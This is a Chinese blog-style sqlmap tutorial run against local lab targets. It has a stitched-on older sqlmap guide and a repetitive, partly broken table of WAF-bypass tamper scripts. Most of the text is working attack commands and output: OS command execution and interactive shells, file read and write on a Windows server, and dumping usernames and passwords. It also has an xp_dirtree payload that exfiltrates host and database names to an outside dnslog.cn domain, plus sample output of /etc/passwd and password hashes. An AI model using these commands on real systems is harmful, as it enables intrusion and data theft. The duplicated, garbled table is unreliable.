有的网页响应比较慢,可以使用 --time-out 这个参数来修改访问超时的时间。默认是30秒

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 --timeout=10

7. 修改默认最大线程

默认最大线程是10,可以设置线程最大为100
修改文件:/usr/share/sqlmap/lib/core/settings.py
MAX_NUMBER_OF_THREADS = 100
在这里插入图片描述

体验一下,方便起见,拿我物理机上的sqlmap来演示。
原始状态下:设置线程为20的时候,被告知最大线程是10
在这里插入图片描述

现在将其修改为最大线程100,此时就可以使用20线程了。
在这里插入图片描述

8. 绕WAF

目前很多网站都使用waf对网站进行保护,在测试SQL注入时,waf会对请求过来的流量进行拦截,导致SQLMAP请求的内容无法到达目标,无法进行安全检测。sqlmap使用–tamper命令,可以选择合适的脚本绕过waf。
使用 sqlmap --list-tampers 查看sqlmap的脚本列表

脚本名称脚本名称解释作用实现方式
apostrophemask.pyapostrophemask.py用utf8代替引号(“1 AND ‘1’='1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
base64encode.py用base64编码替换(“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’
multiplespaces.py围绕SQL关键字添加多个空格(‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’
space2plus.py用+替换空格(‘SELECT id FROM users’) ‘SELECT+id+FROM+users’
nonrecursivereplacement.py双重查询语句。取代predefined

SQL关键字with表示 suitable for
替代(例如
.replace(“SELECT”、”")) filters | (‘1 UNION SELECT 2–’) ‘1 UNIOUNIONN SELESELECTCT 2–’ | |
| space2randomblank.py | 代替空格字符(“”)从一个随机的
空 白字符可选字符的有效集 | (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’ | |
| unionalltounion.py | 替换UNION ALL SELECT UNION
SELECT | (’-1 UNION ALL SELECT’) ‘-1 UNION SELECT’ | |
| securesphere.py | 追加特制的字符串 | (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=‘0having’” | |
| space2hash.py | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | 1 AND 9227=9227’ '1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227= |
| equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | |
| space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
| space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
| between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
| percentage.py | asp允许每个字符前面添加一个%
号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| sp_password.py | 追加sp_password’从DBMS日志
的自动模糊处理的有效载荷的末
尾 | ('1 AND 9227=9227-- ') ‘1 AND 9227=9227-- sp_password’ | |
| charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| space2comment.py | Replaces space character (‘ ‘)
with comments ‘//’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM//users | |
| equaltolike.py | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FR |
| greatest.py | 绕过过滤’>’ ,用GREATEST替换大
于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ | |
| apostrophenullencode.py | 绕过过滤双引号,替换字符和双
引号。 | tamper(“1 AND ‘1’='1”) ‘1 AND %00%271%00%27=%00%271’ | |
| ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类
似’IFNULL(A, B)’为’IF(ISNULL(A),
B, A)’ | (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’ | |
| space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
| modsecurityversioned.py | 过滤空格,包含完整的查询版本
注释 | (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’ | |
| space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
| between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
| modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | (‘1 AND 2>1–’) ‘1 /!00000AND 2>1/–’ | |
| space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一
个破折号注释一个新行(’ n’) | (‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’ | |
| bluecoat.py | 代替空格字符后与一个有效的随
机空白字符的SQL语句。 然后替
换=为like | (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’ | |
| percentage.py | asp允许每个字符前面添加一个%
号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| versionedkeywords.py | Encloses each non-function
keyword with versioned MySQL
comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output:
1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# | |
| space2comment.py | Replaces space character (‘ ‘)
with comments ‘//’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM//users | |
| charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output:
1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))# | |
| halfversionedmorekeywords.py | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,5
NULL# AND ‘QDWa’='QDWa * Output:
value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,5
NULL, NULL#/!0AND ‘QDWa’=‘QDWa |
| halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,
每个关键字之前添加 mysql版本
评论 | 1.("value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa")
2."value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND
‘QDWa’='QDWa" | |
| space2morehash.py | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND% |
| greatest.py | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
| apostrophenullencode.py | 绕过过滤双引号,替换字符和双
引号。 | tamper(“1 AND ‘1’='1”) ‘1 AND %00%271%00%27=%00%271’ | |
| between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
| charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| space2comment.py | Replaces space character (‘ ‘)
with comments ‘//’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM//users | |
| greatest.py | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
| apostrophenullencode.py | 绕过过滤双引号,替换字符和双
引号。 | tamper(“1 AND ‘1’='1”) ‘1 AND %00%271%00%27=%00%271’ | |
| between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
| percentage.py | asp允许每个字符前面添加一个%
号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| space2comment.py | Replaces space character (‘ ‘)
with comments ‘//’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM//users | |
| appendnullbyte.py | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | (‘1 AND 1=1’) ‘1 AND 1=1%00’ |
| chardoubleencode.py | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output:
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545 |
| unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 | |
| randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ | |

宽字节注入

以sql-lib靶场第32关为例,使用脚本unmagicquotes.py

sqlmap -u "http://192.168.239.132/sqli-labs-master/Less-32/?id=1" -tamper "unmagicquotes.py" -v 4

在这里插入图片描述

使用代理注入

使用参数:--proxy

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbmsmysql -v 1 --proxy=http://123.73.63.6:46603

使用代理池注入

使用参数:--proxy-file 从文件中加载代理列表

sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 1 --proxy-file=proxy.txt

在这里插入图片描述

9. 命令执行

准备靶场

这里使用内部靶场 12server5 ,以NAT模式运行,设定为自动获取DNS、ip。之后启动护卫神-主机大师即可。
在这里插入图片描述

物理机修改hosts文件绑定靶机的地址即可。
在这里插入图片描述

尝试访问靶机地址,如果访问失败的话,可以尝试使用命令ipconfig /flushdns刷新本机DNS缓存,或者使用浏览器隐私模式尝试访问,或者换一款浏览器访问都行。

  1. 访问没问题

在这里插入图片描述

  1. 可以正常打开存在SQL注入的位置

在这里插入图片描述

攻击

注入点的当前用户是dba时,使用下面两个命令,一个是执行命令,一个是调用交互操作系统shell。

  • --os-cmd=net user 执行操作系统命令
  • --os-shell 调出交互式操作系统 shell

注意:由于Windows terminal中输入参数时,参数默认是灰色的,不便于肉眼识别。因此使用kali去攻击,所以这里还要修改一下kali的hosts文件,我刚才就是忘了这一步,空浪费一些时间。
在这里插入图片描述

  1. 确认自己有DBA权限(这一步可做可不做,没权限执行命令自然失败呗😁)

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" --batch --is-dba
在这里插入图片描述

  1. 执行命令

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-cmd="net user"
在这里插入图片描述

  1. 获取交互式shell

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-shell
在这里插入图片描述

10. 文件读写

手工读写
参见之前的文章 https://www.yuque.com/u1881995/pborfs/tvnq5y#EmlTQ
SQLMAP读写

  1. 读取文件

使用参数:--file-read,读取文件需要知道文件的绝对路径才能读取。

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-read="C:/Windows/System32/inetsrv/MetaBase.xml" --threads=10

在这里插入图片描述

在这里插入图片描述

这里其实是有点问题的,我如果读取win2012桌面的文件,会读取失败。原因有待解决。

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-read="C:/Users/Administrator/Desktop/xixi.txt" --threads=10

在这里插入图片描述

  1. 写入文件

使用参数:--file-write 写入文件
--file-write 文件路径 ; --file-dest 目标路径
准备一个测试文件
在这里插入图片描述

发起攻击

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-write /root/kali.txt --file-dest "C:\Hws.com\HwsHostMaster\wwwroot\dm1.com\web\1.txt"

看起来是写入成功了
在这里插入图片描述

核实一下,确实写入成功了。
在这里插入图片描述

11. sqlmap dnslog注入

在之前的文章:《命令执行/代码执行》中提到过,地址:DNSlog
这种攻击方式适合在页面没有回显的时候,使用注入把数据发送到远程dnslog上。
使用: --sql-shell 调出sql交互式shell

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" --sql-shell

按照如下格式,指明要执行的命令和域名地址即可。

declare @s varchar(5000),@host varchar(5000) set @s=(执行的命令) set@host=CONVERT(varchar(5000),@s)+'.域名地址';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')

举个例子:

  1. 获取到一个域名:http://dnslog.cn/

在这里插入图片描述

  1. 获取目标的主机名称

shell中输入如下命令:

declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'.3h3m22.dnslog.cn';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')

在这里插入图片描述

在这里插入图片描述

  1. 获取数据库名字
declare @s varchar(5000),@host varchar(5000) set @s=(db_name()) set @host=CONVERT(varchar(5000),@s)+'.3h3m22.dnslog.cn';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')

在这里插入图片描述

在这里插入图片描述

12. sqlmap --dns-domain 注入

如果目标存只能使用延时注入,并且网站反应速度很慢,可以使用dns-domain注入。
操作起来需要vps、域名啥的,较为繁琐,暂不记录。

13. sqlmap爆破

环境准备

在access和mysql4.0数据库中没有内置库,针对这类数据库,sqlmap只能使用字典穷举的方法对表进行猜解。
可以手工修改这两个文件
在这里插入图片描述

修改一下配置文件,方便靶场测试
在这里插入图片描述

在这里插入图片描述

此处选用的靶场仍是 12server5,第9节“命令执行”的靶场,在物理机的hosts配置文件中加入新网址
在这里插入图片描述

打开靶场,长这个样子
在这里插入图片描述

根据源码知道,出现问题的是站点下的 Content.asp 文件,这里直接来到相关目录下。
http://www.dm3.com/Content.asp?id=1
在这里插入图片描述

攻击

使用命令:python sqlmap.py -u "http://www.dm3.com/Content.asp?id=1" --flush-session
得知数据库是Access
在这里插入图片描述

  1. 获取表名 i_user

python sqlmap.py -u "http://www.dm3.com/Content.asp?id=1" --dbms access --tables
在这里插入图片描述

  1. 获取列名

python sqlmap.py -u “http://www.dm3.com/Content.asp?id=1” --dbms access -T i_user --columns
发现数据库有3列
在这里插入图片描述

  1. 拿数据

这里不仅指定最大线程10,还指定数据库类型、要获取的表 **i_user **, 并使用 -C指明要获取"u_id,u_user,u_pass"两列,将其中的数据导出

python sqlmap.py -u http://www.dm3.com/Content.asp?id=1 --dbms access --threads=10 -T i_user -C "u_id,u_user,u_pass" --dump

在这里插入图片描述

最后,如果对目标进行检查,可以使用 --level 5--risk 3,这种最高等级的注入,如果站点有漏洞的话,基本都能检查出来。缺点自然是太费时间,太消耗性能。

python sqlmap.py -u http://www.dm3.com/Content.asp?id=1 --dbms access --threads=10 -T i_user -C "u_id,u_user,u_pass" --dump --level 5 --risk 3
Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL >= 5.0.0 4、指定参数注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- passwords database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs available databases [3]: [*] information_schema [*] mysql [*] testdb python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- columns -T "user" -D "mysql" Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+ 13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash --- 14、执行你自己的sql语句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- banner -o "sqlmap.log" --resume [...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值